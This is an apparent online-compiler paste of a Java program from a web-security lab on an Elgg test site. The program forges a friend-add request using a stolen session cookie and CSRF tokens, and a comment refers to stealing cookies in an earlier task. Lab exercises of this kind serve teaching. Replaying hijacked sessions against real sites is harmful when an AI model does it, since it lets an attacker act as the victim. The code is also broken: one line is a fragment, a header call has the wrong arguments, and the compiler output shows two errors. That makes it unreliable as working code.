fork(2) download
  1. import java.io.*;
  2. import java.net.*;
  3. public class HTTPSimpleForge {
  4. public static void main(String[] args) throws IOException {
  5. try {
  6. int responseCode;
  7. InputStream responseIn=null;
  8. String requestDetails = "&__elgg_ts=1481400120&__elgg_token=fba47622af2dc3d351efd79b033c58bf";
  9. // URL to be forged.
  10. URL url = new URL ("http://w...content-available-to-author-only...g.com/action/friends/add?friend=41"+requestDetails);
  11. // URLConnection instance is created to further parameterize a
  12. // resource request past what the state members of URL instance
  13. // can represent.
  14. HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
  15. if (urlConn instanceof HttpURLConnection) {
  16. urlConn.setConnectTimeout(60000);
  17. urlConn.setReadTimeout(90000);
  18. }
  19. // addRequestProperty method is used to add HTTP Header Information.
  20. // Here we add User-Agent HTTP header to the forged HTTP packet.
  21. // Add other necessary HTTP Headers yourself. Cookies should be stolen
  22. // using the method in task3.
  23. //urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
  24. urlConn.addRequestProperty("Host","www.xsslabelgg.com","User-agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0","Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language","en-US,en;q=0.5","Accept-Encoding","gzip, deflate","Referer","http://w...content-available-to-author-only...g.com/profile/charlie","Cookie","Elgg=gc94mkrklkb3civvn3j9kl0no6","Connection","keep-alive");
  25. //HTTP Post Data which includes the information to be sent to the server.
  26. String data = "name=charlie&guid=41";
  27. // DoOutput flag of URL Connection should be set to true
  28. // to send HTTP POST message.
  29. urlConn.setDoOutput(true);
  30. // OutputStreamWriter is used to write the HTTP POST data
  31. // to the url connection.
  32. OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
  33. wr.write(data);
  34. wr.flush();
  35. // HttpURLConnection a subclass of URLConnection is returned by
  36. // url.openConnection() since the url is an http request.
  37. if (urlConn instanceof HttpURLConnection) {
  38. HttpURLConnection httpConn = (HttpURLConnection) urlConn;
  39. // Contacts the web server and gets the status code from
  40. // HTTP Response message.
  41. responseCode = httpConn.getResponseCode();
  42. System.out.println("Response Code = " + responseCode);
  43. // HTTP status code HTTP_OK means the response was
  44. // received sucessfully.
  45. if (responseCode == HttpURLConnection.HTTP_OK)
  46. // Get the input stream from url connection object.
  47. responseIn = urlConn.getInputStream();
  48. // Create an instance for BufferedReader
  49. // to read the response line by line.
  50. new InputStreamReader(responseIn));
  51. String inputLine;
  52. while((inputLine = buf_inp.readLine())!=null) {
  53. System.out.println(inputLine);
  54. }
  55. }
  56. } catch (MalformedURLException e) {
  57. e.printStackTrace();
  58. }
  59. }
  60. }
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
Main.java:3: error: class HTTPSimpleForge is public, should be declared in a file named HTTPSimpleForge.java
public class HTTPSimpleForge {
       ^
Main.java:24: error: method addRequestProperty in class URLConnection cannot be applied to given types;
urlConn.addRequestProperty("Host","www.xsslabelgg.com","User-agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0","Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language","en-US,en;q=0.5","Accept-Encoding","gzip, deflate","Referer","http://www.xsslabelgg.com/profile/charlie","Cookie","Elgg=gc94mkrklkb3civvn3j9kl0no6","Connection","keep-alive");
       ^
  required: String,String
  found: String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String
  reason: actual and formal argument lists differ in length
2 errors
stdout
Standard output is empty